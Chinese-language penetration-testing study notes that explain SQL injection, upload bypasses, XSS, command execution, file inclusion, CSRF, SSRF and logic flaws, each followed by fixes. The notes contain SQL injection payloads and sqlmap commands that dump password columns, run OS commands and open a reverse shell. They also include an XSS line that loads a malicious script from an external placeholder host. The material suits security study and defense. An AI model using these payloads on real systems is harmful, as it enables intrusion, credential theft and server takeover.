当前位置:   article > 正文

渗透学习笔记

渗透学习

一、SQL注入漏洞

SQL注入:web程序对用户输入数据的合法性没有判断,前端传入后端的参数可控的,并且参数带入数据库查询,攻击者可通过构造SQL语句来实现对数据库的任意操作。

1.sql注入原理

满足条件:

​ 参数用户可控:前端传入后端的内容用户可以控制

​ 参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。

原因:用户输入的数据被SQL解释器执行

2.注入漏洞分类

1)数字型注入

当输入的参数为整型时,如:ID、年龄、页码,若存在注入漏洞,则可认为是数字型

测试:单引号 and语句 (1 and 1=1 , 1 and 1=2),若以上三个步骤全部满足,则可能存在SQL注入漏洞

数字型注入常出现在ASP、PHP等弱类型语言。强类型语言,若试图把一个字符串转换为int类型,会抛出异常,无法继续执行。

2)字符型注入

当输入参数为字符串时,称为字符型。

数字型与字符型注入最大的区别:数字型不需要单引号闭合,而字符型一般使用单引号来闭合。

字符型注入最关键的是如何闭合SQL语句以及注释多余的代码。

注:数据库不同,字符串连接符不同, SQL server的连接符为“+”,Oracle连接符为“||”,MySQL连接符为空格

3)SQL注入分类

SQL只分为两类数字型和字符型。其余注入都是在其两大类的不同展示形式,或者不同的展现位置。

​ 由于数据库进行数据查询时,输入数据一般有两种:一种数字型,一种字符串型. 严格来说:数字也算字符串

post注入:注入字段在post数据中(post请求中username字段存在注入漏洞)

get注入:注入字段在get数据中

cookie注入:注入字段在cookie数据中

延时注入:使用数据库延时特性注入(sleep函数)

搜索注入:注入处为搜索的地点

base64注入:注入字符串需要经过base64加密

3.常见的数据库注入

数据库注入的利用方式:查询数据、读写文件、执行文件

1)SQL server

(1)利用错误消息提取信息

SQL server数据库:可以准确的定位错误消息

A.枚举当前表及列

利用数据库的报错信息,获取敏感信息

B.利用数据类型错误提取数据

试图将一个字符串和非字符串比较,或将一个字符串转换为另外一个不兼容的类型,那么数据库将会抛出异常

(2)获取元数据

SQL server提供了大量视图,便于获取元数据

取表 取字段 取库 取登录名

(3)order by字句

指为select查询的列排序

攻击者通常注入order by语句来判断此表的列数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NMkAK09k-1636167955969)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211013164246052.png)]

(4)union查询

union关键字将多个查询结果组合为单个结果集,俗称联合查询。

注意:所有查询中的列数必须相同,数据类型必须兼容

A联合查询字段数

union select 1,2,3

B联合查询敏感信息

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bMxwZTCs-1636167955972)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211013164806994.png)]

(5)无辜的函数

可以利用系统函数访问SQL server系统表中的信息,无需SQL语句查询

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ofu5UrKi-1636167955974)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211013165000708.png)]

(6)危险的存储过程

存储过程:是在大型数据库中为了完成特定功能的一组SQL函数:如执行命令,查看注册表,读取磁盘目录

(7)动态执行

exec函数 :利用exec执行十六进制SQL语句并不存在单引号,可突破很多防火墙及注入程序

2)mysql

mysql数据库 5.0之后,默认在数据库存放 information_schema 的数据库,在该库中存在三个表名

​ schemata 表示存储用户创建的所有数据库的库名

​ tables 。。。。。。。库名和表名 table_schema数据库库名 table_name 表名的字段名

​ columns 。。。。。。。。库名、表名、字段名 table_schema数据库库名 table_name 表名的字段名 columns_name 字段名的字段名

注释符:

​ #或 --空格 或 /**/

内联注释 /*! 内容 */

(1)MySQL中的注释

#:注释从#字符到行尾

–:注释从–序列到行尾(使用该注释,在其后需要跟上一个或多个空格)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hbyWIOK7-1636167955976)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211013165850216.png)]

(2)获取元数据
A查询数据库名称

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zmNQCXxw-1636167955978)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211013171216107.png)]

B查询当前数据库表

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-q12ZUjRF-1636167955979)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211013171230124.png)]

C查询指定表的所有字段

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ho13Ir2e-1636167955981)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211013171245320.png)]

(3)union查询

用于把多个select语句的结果组合到一个结果集合中,且每列的数据类型必须相同

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9bgcvQB8-1636167955982)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211013171537229.png)]

在Oracle和SQL server中,列的数据不确定时,最好不要用null关键字匹配

(4)MySQL函数利用

需要记住的函数:database():当前网站的数据库 version():当前MySQL版本 user()用户

A load_file()函数读取文件操作

但文件的位置必须在服务器上,文件必须为绝对路径,而且用户必须有file权限,文件容量必须小于max_allowed_packet字节(默认16m,最大1gb)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qY1lg6wF-1636167955983)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211013172448483.png)]

B into outfile写文件操作

MySQL提供向磁盘写入文件的操作,与load_file一样,必须持有file权限,且文件有绝对路径

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-03nwzQm1-1636167955985)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211013172717684.png)]

C 连接字符 concat() concat_ws()
(5)mysql显错式注入
A 通过updatexml函数,执行SQL

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vAw1GI3y-1636167955986)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211013184836036.png)]

B 通过extractvalue函数,执行SQL语句

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UZtV5xcA-1636167955988)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211013185118480.png)]

C 通过floor函数,执行SQL语句

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-34quhGSJ-1636167955989)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211013185207156.png)]

(6)宽字节注入

该注入是由编码不统一所造成的,一般出现在PHP+MySQL中

PHP配置文件php.ini存在magic_quotes_gpc选项,被称为魔术引号,当此选项打开时,使用get、post、cookie所接收的单引号、双引号、反斜线\和null字符都会被自动加上一个反斜线转义

(7)MySQL长字符截断

在 MySQL 中的一个设置里有一个sql_mode选项,当sql_mode设置为default时,即没有开启STRICT_ALL_TABLES选项时(MySQL sql_mode默认即default),MySQL对插入超长的值只会提示warning,而不是error,这样就可能会导致一些截断问题。

通过length取的长度,判断值的长度

select length(username) from users where id=1

在默认下,如果数据超过列默认长度,MySQL会将其截断

(8)延时注入

根据页面差异来判断URL是否存在SQL注入漏洞

盲注:页面无差异的注入

延时注入时盲注的一种,是基于时间差异的注入技术。

select * from users where id=1 and sleep(3); /* 3秒后执行SQL语句 */

延时注入的操作:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4uCRx31w-1636167955991)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211013194800183.png)]

4.注入工具

1)SQLmap

是一个开源渗透测试工具,自动检测和利用SQL注入漏洞。基于Python编写,跨平台。

具有强大的检测引擎。若URL存在注入漏洞,就可以在数据库中提取数据。若权限够大,可以在其操作系统上执行命令,读写文件。

特点:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ydk8GL9Z-1636167955992)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211013195344371.png)]

(1)判断注入点

第一步:判断是否是注入点

sqlmap.py -u “ip”

第二步:获取数据库

sqlmap.py -u “ip” --dbs 使用-dbs参数读取数据库

第三步:查看当前应用程序所用数据库

sqlmap.py -u “ip” --current-db

第四步:列出指定数据库的所有表

sqlmap.py -u “ip” --table -D “数据库名”

第五步:读取指定表中字段名称

sqlmap.py -u “ip” --columns -T “表名” -D “数据库名”

第六步:读取指定字段内容

sqlmap.py -u “ip” --dump -C “username,password” -T “表名” -D “数据库名”

–dump参数意为转存数据,-C参数指定字段名称,-T指定表名,-D指定数据库名 -U用户

在读取数据后,会把数据转存在SQLMap/output/目录下,文件以Table.cvs 保存

2)SQLmap工具详解

更新升级 sqlmap -update

帮助:sqlmap -h

sqlmap.py -u “ip” --cookie “COOKIE_VALUE” cookie注入

sqlmap.py -u “http://url?id=1” --data “id=3” post注入

sqlmap.py -u “http://url?id=1” -v 1 -f 指纹判别数据库类型

sqlmap.py -u “http://url?id=1” --proxy “http://127.0.0.1:8181” 代理注入

sqlmap.py -u “http://url?id=1” --sql -shell 执行指定SQL命令

sqlmap.py -u “http://url?id=1” --os-cmd=whoami 执行系统命令

sqlmap.py -u “http://url?id=1” --os-pwn 反弹shell

–technique 测试指定注入类型\使用的技术

​ 不加参数默认测试所有注入技术

​ B: 基于布尔的 SQL 盲注

​ E: 基于显错 sql 注入

​ U: 基于 UNION 注入

​ S: 叠层 sql 注入

​ T: 基于时间盲注

–tamper 通过编码绕过web防火墙(waf)

5.语句特征

1)判断有无注入点

; and 1=1 and 1=2

2)猜表一般的表的名称无非是admin adminuser user pass password 等…

and 0<>(select count(*) from *)

and 0<>(select count(*) from admin) —判断是否存在admin这张表

3)猜帐号数目 如果遇到0< 返回正确页面, 1<返回错误页面,说明帐号数目就是1个

and 0<(select count(*) from admin)

and 1<(select count(*) from admin)

4)猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.

and 1=(select count() from admin where len()>0)–

and 1=(select count(*) from admin where len(用户字段名称name)>0)

and 1=(select count(*) from admin where len(密码字段名称password)>0)

5)猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止

and 1=(select count() from admin where len()>0)

and 1=(select count(*) from admin where len(name)>6) 错误

and 1=(select count(*) from admin where len(name)>5) 正确 长度是6

and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count(*) from admin where len(password)>11) 正确

and 1=(select count(*) from admin where len(password)>12) 错误 长度是12

and 1=(select count(*) from admin where len(password)=12) 正确

6.猜解字符

5.防止SQL注入

SQL注入攻击就是 用户可以控制输入

防御主要分:数据类型判断和特殊字符转义

1)严格的数据类型

java,c等强类型语言可完全忽略数字型注入

严格判断数据类型 可解决数字型SQL注入

2)特殊字符转义

针对字符型注入

在数据库字符串查询时,任何字符串都必须加上单引号

3)使用预编译语句

预编译语句在创建的时候已将指定的SQL语句发送给DBMS,完成了解析、检查、编译等工作,我们需要的仅仅是将变量传给SQL语句。

4)框架技术

与数据库相关的框架:持久层框架

5)存储过程

存储过程:在大型数据库系统中,一组为了完成特定功能或经常使用的SQL语句集,经编译后存储在数据库中。

存储过程具有较高的安全性,可以防止SQL注入。

过滤危险字符:正则表达式过滤传入参数(若匹配到,则退出程序)像select “” from 等

6)不要把机密信息直接存放,加密或hash掉密码和敏感信息

二、上传漏洞

web程序通常会有文件上传功能。只要允许上传文件,就可能存在文件上传漏洞

1.造成原因:

上传文件时,如果服务端代码没有对上传文件格式做编码和过滤,就容易造成任意文件漏洞

上传的脚本有(asp、aspx、php、jsp等)

2.危害

利用恶意脚本控制整个网站、甚至服务器

这个恶意脚本文件,也称webshell,也可将webshell脚本称为一种网页后门

webshell脚本的功能:查看服务器目录、服务器中的文件、执行命令

3.绕过

js检测绕过

常见于用户选择文件上传,若文件后缀不被允许,则弹窗警告,此时文件的数据包并没有发送到服务端,只是客户浏览器使用js对数据包检测

绕过:

1)使用浏览器插件,删除检测文件后缀的js代码,然后上传文件即可绕过

2)首先把需要上传文件的后缀改成允许上传的,如jpg.png等,绕过JS的检测,再抓包,把后缀名改成可执行文件的后缀即可上传成功

文件后缀绕过

是服务端代码中限制了某些后缀的文件不允许上传,但也有允许的文件后缀。

文件类型绕过

文件截断绕过

竞争条件绕过

4.修复

白名单判断文件后缀

对上传的文件进行重命名

1.解析漏洞

1)IIS解析漏洞

IIS 6.0在解析又件时仔在以下两个解析漏洞。
①当建立*.asa、*.asp格式的文件夹时,其目录下的任意文件都将被IIS当作 asp文件来解析。

②当文件为*.asp;1.jpg时,IIS 6.0同样会以ASP脚本来执行。会忽略分号后面的内容。

在开启 WebDav扩展的服务器后,如果支持PUT、Move、Copy、Delete等方法,就可能会存在一些安全隐患,比如服务器(IIS 6.0 Web容器)支持WebDav,并且存在PUT、Move、Copy、Delete等方法,那么攻击者就可能通过PUT方法向服务器上传危险脚本文件。

2)apache解析漏洞

解析原则:当碰到不认识的扩展名时,将会从后向前解析,直到碰到认识的扩展名为止,若都不认识,就会暴露其源代码。

3)PHP CGI 解析漏洞(Nginx)

攻击者可以上传合法的"图片木马",然后在URL后加上"/xxx.php",就可获得网站的webshell。

加.php会被php解析 修复在php.ini中cgx选项为0/站库分离

2.绕过上传漏洞

1)客户端检测

客户端使用js检测,在文件上传时,就对文件进行验证(低级验证)

绕过

(1)使用FireBug

是一款开源的浏览器插件,可以让web开发调用HTML、js、AJAX、CSS等前端代码。

删除客户端js验证

​ (2)中间人攻击

使用burpsuit拦截抓包,将其扩展名进行修改,就可绕过客户端验证

客户端验证是为了防止用户输入错误,减少服务器开销,服务器验证才是真正防御攻击。

2)服务端检测

服务端脚本一般会检测文件的MIME类型,检测文件扩展名是否合法,是否嵌入恶意代码。

服务器验证:

(1)白名单和黑名单验证

扩展名过滤

A 黑名单过滤方式

规定一系列不安全的扩展名,服务端在接受文件后,与黑名单扩展名对比,若两者匹配,则文件不合法

绕过:攻击者可以找从黑名单忽略的扩展名

​ 文件扩展名大小写转换

​ windows下,文件以“.”或空格作为结尾,系统会自动去除。

B 白名单过滤方式

​ 白名单是定义允许上传的扩展名

(2) 文件类型检测(MIME验证)

mime类型是设定某种扩展名文件打开方式,若具有该扩展名时,浏览器会自动指定的应用程序来打开。像GIF图片mime为image/gif

(3)目录验证

在文件上传时,程序通常允许用户将文件放到指定的目录中。

若指定目录存在,将文件写入目录,不存在先创建后写入。此时可能存在目录解析漏洞。

(4)截断上传攻击

截断类型:PHP %00截断

截断原理:由于00代表结束符,所以会把00后面的所有字符删除

阶段条件:PHP版本<5.3.4,PHP的magic_quotes-gpc为off状态

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8YMUUwzp-1636167955993)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211015194856305.png)]

(5)竞争条件攻击

一些网站的上传逻辑是先允许上传任意文件,然后检查上传的文件是否包含webshell脚本,若包含则删除。

该绕过利用文件上传后和删除文件的一个短的时间差(因为要执行检查文件和删除文件的操作),利用时间差完成竞争条件的上传漏洞攻击。也就是在删除文件前访问该webshell,那么就会创建一个新的webshell。从而绕过改代码限制。

3.文本编辑器上传漏洞

1)敏感信息暴露

FCKeditor目录存在敏感文件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sShjVgua-1636167955994)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211014095257401.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uwMZnVlc-1636167955996)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211014095314999.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Xh2cUYQo-1636167955997)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211014095329158.png)]

2)黑名单策略错误

FCKeditor《=2.4.3采用

虽过滤了一些常见的文件扩展名,但忽略了asa、cer等未知风险扩展名。

3)任意文件上传漏洞

FCKeditor《=2.4.2以下,存在任意文件上传漏洞

4.修复上传漏洞

1)目录过滤不严,攻击者可能建立畸形目录

2)文件未重命名,攻击者可能利用web容器解析漏洞

3)通过白名单的方式判断文件后缀是否合法

三、xss跨站脚本漏洞

xss又叫css,跨站脚本攻击

xss属于客户端攻击,受害者最终为用户。管理人员也是用户

1.xss原理解析

xss攻击是在网页中嵌入客户端恶意代码,这些恶意代码一般是使用js语言编写的。

js是用来获取用户cookie、改变网页内容、URL调转。

攻击者向web页面注入js代码

攻击者在< script >与< /script > 之间输入js代码,实现一些“特殊效果”

通常使用< script src=“http://www…/x.txt”>< /script > 方式加载外部脚本。x.txt存放攻击的恶意代码。 js加载的外部代码文件可以是任意扩展文件。只要包含恶意代码就能执行

定义:允许恶意用户将代码注入网页,其他用户在浏览网页时就会受到影响。

2.xss类型

三者区别:反射型和DOM型执行必须依靠手动点击,存储型不需要

1)反射型xss

非持久性xss。 最容易出现

当用户访问一个带有xss代码的URL请求时,服务器端接收数据后处理,然后把带有xss代码的数据发送给浏览器,浏览器解析带有xss’代码的数据后,最终造成xss漏洞。 整个过程一次反射

案例:利用用户点击获得用户cookie,从而获得敏感信息

2)存储型xss

持久型xss 最危险 更高的隐蔽性

允许用户存储数据的Web应用程序都可能会出现存储型XSS漏洞,当攻击者提交一段XSS代码后,被服务器端接收并存储,当攻击者再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS跨站攻击,这就是存储型XSS。

3)DOM xss

DOM:文档对象模型。通常用于代表在HTML、XHTML、xml中的对象。

DOM型xss不需要与服务器端交互,只发生在客户端处理数据

3.检测xss

1)手工检测xss

考虑哪有输入,输入的数据在哪输出

首选有特殊字符意义的字符,可以快速测试存在xss

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MgR2KWpV-1636167955998)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211014105112462.png)]

2)全自动检测xss

appsan、AWVS、Burp suit等软件,有效检测xss漏洞,除此之外,还会检测SQL注入,文件包含,应用程序错误等

专业的xss工具: xsser xssf

4.xss的高级利用

xss危害

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nlp8sFVf-1636167956000)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211014105535848.png)]

1)xss会话劫持

(1)cookie简介

cookie是能够让网站服务器把少量文本数据存储在客户端的硬盘、内存,或是从客户端的硬盘、内存读取数据的一种技术。

cookie的作用:标识用户,维持会话

cookie文件就是在浏览网页时,该网页向本机协议一个文本文件,可以记录你的用户ID,密码,停留时间等。

cookie最大支持4096b

(2)cookie格式

http-only:禁止js读取

(3)读写cookie

js,java,PHP都拥有读写cookie的能力

(4)js操作cookie

cookie作为身份标识

攻击者通过xss攻击,可完成cookie劫持,不需要输入密码,就可直接以正常用户的身份登陆账户

(5)session

服务端机制,使用一种类似于散列表的结构来保存信息

web中的session:指用户在浏览某个网站时,从进入网站到关闭所经历的这段时间,也就是客户端和服务端的 对话 , 当浏览器关闭后,session自动注销。

2)xss Framework

3)xss Getshell

xss Getshell指利用xss获取webshell

DedeCMS是一款网站内容管理系统,其中一个模块就是在线管理(新建,删除,编辑) xss获取webshell就利用此功能。

4)xss蠕虫

具有传染性 但无法对系统底层操作

在开展xss蠕虫攻击时,需要对网站业务功能有所了解,然后针对性编写xss蠕虫。

5.修复xss跨站漏洞

xss跨站漏洞形成的原因是对输入与输出没有严格的过滤。

1)输入与输出

对输入的数据进行过滤;对输出数据进行编码转换

在HTML,<,>,",’,&都有特殊含义,因为HTML标签就是由这几个符号组成的。一般,xss将这些字符转义。

PHP中,将敏感信息一一转义

HTML编码操作

对输入输出的css编码(通过反斜杠加上十六进制进行编码)

对输入输出js编码

2)httponly

严格来说,httponly对防御xss不起作用,主要是为了解决xss后续的cookie劫持

httponly:用以阻止客户端脚本访问cookie

四、命令执行漏洞

命令执行漏洞:指攻击者可以随意执行系统命令。

定义:攻击者利用执行系统命令的函数,将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击。

高危漏洞之一

属代码执行范畴

存在于B/S架构,C/S 架构

1.os命令执行漏洞示例

部分web程序提供一些命令执行的操作,如,想要测试是否正常连接,那么web程序就可能会去调用系统操作命令,若没有过滤用户输入的数据,就有可能形成系统命令执行

2.命令执行模型

命令执行漏洞是直接调用操作系统命令,故这里叫作OS命令执行漏洞

windows支持的管道:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BDPFs3Fp-1636167956001)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211015200644224.png)]

linux支持的管道:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hTNeJ4Yg-1636167956003)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211015200720390.png)]

代码执行漏洞则是靠执行脚本代码调用操作系统命令,如:eval(system(‘set’))

1)PHP命令执行

PHP提供了部分函数用来执行外部应用程序,例如: system()、shell_exec()、exec()和passthru()。

命令执行

代码执行

动态函数调用

PHP函数代码执行漏洞

2)Java命令执行

不论什么Java,都是在Java SE 为基础的

3.框架执行漏洞

1)struts 代码执行漏洞

2)thinkPHP 命令执行漏洞

4.防范命令执行漏洞

确保输入是否可控,若无输入一定安全

尽量不要使用系统执行命令;

在进入执行命令函数/方法之前,变量一定要做好过滤,对敏感字符进行转义;

在使用动态函数之前,确保使用的函数的安全性

对PHP语言来说,不能完全控制的危险函数最好不要使用

五、文件包含漏洞

1.包含漏洞原理解析

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为包含。

利用此灵活性,导致客户端可调用恶意文件,造成文件包含漏洞

1)PHP包含

PHP中提供了四个文件包含的函数,分别是include()、include_once()、require()和require_once()。这四个函数都可以进行文件包含。

require找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本;

include找不到被包含的文件时只会产生警告(E_WARNING),脚本将继续执行;

include_once:此语句和 include()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含;

require_once:此行语句和require()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

(1)文件包含分为本地包含和远程包含

本地文件包含(local file include)LFI

​ 包含的文件在本地服务器

远程文件包含(remote file include)RFI

​ 包含文件在第三方服务器

(2)PHP文件包含利用

读取敏感文件:

​ 敏感文件路径

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-n26WHSnN-1636167956004)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211014163046565.png)]

远程包含shell

​ 一句话木马[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5Tm7ggyy-1636167956005)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211014163216868.png)]

截断包含

​ %00截断 1.jpg%00 仅适用于magic_quotes_goc=off

若为on,%00(null)将会被转义

为on,预定义转义[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u8OGBPSi-1636167956007)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211014163804659.png)]

绕过waf防火墙

​ 利用图片包含,一般waf无法检测

2)JSP包含

静态包含:先进行包含,再做处理操作[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8vdQkuOE-1636167956008)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211014164043477.png)]

动态包含:先处理被包含页面,然后再包含,而且可包含动态页面

URL跳转:[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vCtquFeo-1636167956009)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211014164353203.png)]

2.安全编写包含

造成文件包含漏洞是:被包含的页面被攻击者所控制

严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制;

路径限制:限制被包含的文件只能在某一文件夹内,一定要禁止目录跳转字符,如:“…";

包含文件验证:验证被包含的文件是否是白名单中的一员;

尽量不要使用动态包含,可以在需要包含的页面固定写好,如: include(“head.php”);

六、CSRF

客户端请求伪造。csrf 或 xsrf

是一种网站的恶意利用

原理:攻击者利用目标用户的身份,以目标的名义进行某些非法操作

1.攻击原理

攻击过程的重要的两个要素:

​ 攻击者可得知URL的所有参数,并了解其含义

​ 诱导用户访问构造好的poc

2.漏洞利用

1)蠕虫攻击

2)刷SEO流量

3.浏览器cookie机制

攻击者若想成功CSRF攻击,前提必须是用户处于登录状态

4.检测CSRF漏洞

1.手工检测

csrf只能通过用户的正规操作,实际上就是劫持用户操作。

所以:在检测前需要确认web应用程序的所有功能,以及敏感操作,如修改密码,转账。

服务器到底有没有执行poc的请求,若已执行,则代表存在

2.半自动检测

CSRFTester是半自动化CSRF测试工具,可以拦截所有请求,方便渗透测试人员分析

5.预防

1.二次确认

在调用某些功能时进行二次验证,设置验证码,在进行敏感操作时输入验证码

当二次验证后,即使用户打开了CSRF POC页面,也不会去执行,而需要用户再次输入才可完成攻击

2.请求中加入不能伪造的信息,token认证

token1即标志、记号的意思,在IT领域也叫令牌

步骤:

1)每当用户登录后会随机生成一段字符串,并且存储在 Session中。

2)在敏感操作中加入隐藏标签,value即为Session中保存的字符串

​ 注:若为get请求,考虑使用在cookie中存储token

3)提交请求后,服务器端取出Session中的字符串与提交的Token对比,如果一致,则认为是正常请求,否则可能是CSRF攻击。

4)更新Token值。

3。验证请求的referer值

若referer是以自己网站开头的域名,则说明该请求来自网站自己,是合法的。若referer是其他网站域名或空白,就可能是csrf攻击,那么服务器拒绝请求。

七、SSRF

服务端请求伪造

是由攻击者构造请求,由服务器端发起请求的安全漏洞

一般攻击目标是外网无法访问的内部系统

1.漏洞原理

是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标做过滤与限制。

攻击方式:

1)对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息

2)攻击运行在内网或本地的应用程序

3)对内网web应用进行指纹识别,识别企业内部的资产信息

4)攻击内外网的web程序,主要是使用http get请求就可实现的攻击(如sqli)

5)利用file协议读取本地文件

2.漏洞利用

3.修复

限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求。

限制不能访问内网的IP,以防止对内网进行攻击。

屏蔽返回的详细信息。

八、逻辑错误漏洞

逻辑错误漏洞:指由于程序逻辑不严谨或逻辑太复杂,导致一些逻辑分支不能够正常处理或处理错误。

逻辑漏洞也可以说是程序员的思路问题

1.挖掘逻辑漏洞

网站的任何部分都有可能存在着逻辑漏洞。比如:修改个人资料就完全可能出现逻辑漏洞。

挖掘漏洞的步骤:

①发现网站所提供的功能模块。比如:修改密码、找回密码、修改个人资料等功能。

②针对具体的功能确定业务流程,详细划分具体步骤,以购物为例介绍,购物流程如下。

​ 挑选商品,商品可多选;
​ 立刻购买,在“立刻购买”按钮旁边可以选择购买数量、购买样式等;
​ 显示购买信息,在此步骤可以给卖家留言,填写购买数量、使用优惠券、匿名购买、找人代付等;
​ 提交订单; 付款。

③拦截HTTP/HTTPS 请求,分析其参数项的含义;

④修改参数值,尝试触发逻辑漏洞;

⑤返回第②步骤,对其他功能继续测试;

注:挖掘漏洞的重点就是业务流程和http/https请求篡改。

2.绕过授权验证

授权:对特定资源的读写权限。

授权问题:指访问了没有授权的资源和信息,也叫越权(超越原本的权限)

1)水平越权

相同级别(权限)的用户或同一角色的不同用户之间,可以越权访问、修改或删除的非法操作。

2)垂直越权

不同级别之间的或不同角色之间的越权。

垂直越权又分为:向上越权与向下越权。

向上越权:普通用户向管理员用户之间的越权

向下越权:一个高级别用户可以访问一个低级别用户

3)常见的逻辑漏洞

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0Vuxlwhj-1636167956011)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211015201000034.png)]

3.密码找回逻辑漏洞

为防止用户遗忘密码,大多数网站提供了找回密码功能。

测试密码找回漏洞:

熟悉业务流程(密码找回过程)与对流程中http请求分析。

利用邮件找回方式抓包修改参数中的邮箱号,就可修改密码。

4.支付逻辑漏洞

测试支付逻辑漏洞的重点就是对http请求及业务流程的分析。

测试支付逻辑漏洞:用户提交的参数

场景:商品数量为负数,0元购买商品,商品价格修改等

5.指定账户恶意攻击

多次输入密码,锁定账户。

最好不要暴露登陆账户

6.越权修复

使用session来控制

将用户信息写入session,查看的时候在session中调用,而不是GET和POST调取。

九、代码注入

代码注入:owasp定义为客户端提交的代码在服务器端接收后当做动态代码或嵌入文件处理。 而Wikipedia 定义为客户端所提交的数据未经检查就让web服务器去执行。

1)OS命令执行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gDooLCqC-1636167956012)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211015085507423.png)]

2)文件包含

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iT866o2o-1636167956013)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211015085520832.png)]

3)动态函数调用

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Mw2tZYio-1636167956014)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211015085627218.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-87wYMEad-1636167956016)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211015085637778.png)]

4)代码执行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hvBz1ggf-1636167956017)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211015085851319.png)]

5)SQL注入,xml注入,xss,文件包含,命令执行

1.xml注入(XXE,XML外部实体注入)

xml的设计宗旨是传输数据,而非显示数据。用于标记电子文件使其具有结构性的标记语言

xml是各种程序之间数据传输中最常用的工具。

xml注入是通过改写xml实现的,与xss漏洞相似。该漏洞利用成功地关键就是闭合xml标签。

xml注入是的两大要素:标签闭合和获取新目录表结构

